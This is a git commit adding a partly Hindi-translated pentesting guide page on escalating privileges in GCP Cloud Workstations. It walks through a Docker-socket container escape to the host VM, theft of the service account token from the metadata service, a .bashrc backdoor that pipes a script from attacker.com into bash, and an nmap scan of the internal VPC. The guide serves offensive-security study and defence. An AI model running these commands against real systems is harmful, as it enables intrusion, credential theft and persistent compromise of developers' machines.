Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

2026-07-28 22:51:09 -07:00 · 2026-02-12 20:02:11 +00:00
parent 692b4e0054
commit 3188a77c97
1 changed files with 96 additions and 0 deletions
@@ -0,0 +1,96 @@
+# GCP - Cloud Workstations Privesc
+
+
+### Container Breakout via Docker Socket (Container -> VM -> Project)
+
+The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
+
+**Prerequisites:**
+- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
+- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
+
+**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
+
+> [!NOTE]
+> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
+
+<details>
+
+<summary>कदम 1: Docker socket की जाँच करें</summary>
+```bash
+# Verify the Docker socket is available
+ls -l /var/run/docker.sock
+# Expected output: srw-rw---- 1 root docker 0 ...
+```
+</details>
+
+<details>
+
+<summary>चरण 2: Escape to the host VM filesystem</summary>
+
+हम एक privileged container लॉन्च करते हैं, होस्ट की root directory को `/mnt/host` पर माउंट करते हुए। हम visibility बढ़ाने के लिए होस्ट का network और PID namespace भी शेयर करते हैं।
+```bash
+# Spawn a privileged container mounting the host's root filesystem
+docker run -it --rm --privileged --net=host --pid=host \
+-v /:/mnt/host \
+alpine sh
+
+# Inside the new container, chroot into the host
+chroot /mnt/host /bin/bash
+```
+अब आपके पास **root shell on the underlying Compute Engine VM** (Layer 1) है।
+
+</details>
+
+<details>
+
+<summary>चरण 3: VM service account token को IMDS से चुराएँ</summary>
+```bash
+# From the host VM, query the Instance Metadata Service
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
+
+# Check which service account is attached
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
+
+# Check scopes (CRITICAL STEP)
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
+```
+</details>
+
+> [!CAUTION]
+> **Scopes की जाँच करें!**
+> भले ही जुड़ा हुआ Service Account **Editor** हो, VM को access scopes द्वारा प्रतिबंधित किया जा सकता है।
+> यदि आप `https://www.googleapis.com/auth/cloud-platform` देखते हैं, तो आपको पूर्ण पहुंच प्राप्त है।
+> यदि आप केवल `logging.write` और `monitoring.write` देखते हैं, तो आप नीचे दिए गए **Network Pivot** और **Persistence** vectors तक सीमित हैं।
+
+<details>
+
+<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
+
+Cloud Workstations `/home/user` पर एक persistent disk mount करते हैं। क्योंकि container user (आमतौर पर `user`, UID 1000) host user (UID 1000) से मेल खाता है, आप host के होम डायरेक्टरी में लिख सकते हैं। इससे आप environment को backdoor कर सकते हैं, भले ही workstation container को फिर से बनाया जाए।
+```bash
+# Check if you can write to the host's persistent home
+ls -la /mnt/host/home/user/
+
+# Drop a backdoor that executes next time the developer logs in
+# Note: Do this from the container escape context
+echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
+```
+</details>
+
+<details>
+
+<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+
+चूँकि आप host network namespace (`--net=host`) साझा करते हैं, आप अब VPC पर एक trusted node हैं। आप IP whitelisting के आधार पर access की अनुमति देने वाली internal services को scan कर सकते हैं।
+```bash
+# Install scanning tools on the host (if internet access allows)
+apk add nmap
+
+# Scan the internal VPC subnet
+nmap -sS -p 80,443,22 10.0.0.0/8
+```
+</details>